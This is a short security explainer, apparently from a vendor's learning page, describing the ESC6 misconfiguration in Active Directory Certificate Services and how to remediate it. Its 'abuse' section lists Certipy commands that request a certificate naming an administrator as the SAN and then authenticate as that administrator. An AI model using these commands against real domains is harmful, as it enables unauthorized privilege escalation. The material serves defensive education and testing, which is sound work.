What is ESC6?

ESC6 is an AD CS misconfiguration caused by the EDITF_ATTRIBUTESUBJECTALTNAME2 flag being set on the certificate authority. With this flag on, any requester can specify a Subject Alternative Name (SAN) in their request, regardless of the template. That means a low-privileged user can request a certificate and add `administrator@corp.local` as the SAN, then authenticate as that admin, turning essentially every authentication template into ESC1. The fix is one CA setting.

HOW IT WORKS

01 The abuse and payload

With the flag set, the attacker requests a certificate on any enrollable authentication template and adds a privileged SAN:

- Check the flag and templates: `certipy find -u user@corp.local -p pass -dc-ip <ip>` (reports the CA flags)
- Request with a SAN naming an admin: `certipy req -u user@corp.local -p pass -ca CORP-CA -template User -upn administrator@corp.local`
- Authenticate as the admin: `certipy auth -pfx administrator.pfx`

Documented Certipy steps for defensive recognition.

> THE ONE FLAG
>
> *Run* `certutil -getreg policy\EditFlags` *on the CA and check for EDITF_ATTRIBUTESUBJECTALTNAME2. If it is set, every authentication template is effectively ESC1.*

HOW TO DEFEND

- Disable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA: `certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2` then restart the CA service.
- Verify with Certipy that the flag is reported off.
- Monitor certificate issuance for requests carrying an unexpected SAN, especially a privileged identity.
- Recheck after CA changes, since the flag can be re-enabled by misguided configuration.

SOURCES

[1] Microsoft: Active Directory Certificate Services

[2] MITRE ATT&CK Enterprise Matrix

[3] NIST SP 800-115 Technical Guide to Security Testing

Test your Active Directory before an attacker does.
securelayer7.net/learn/active-directory/what-is-esc6

Open online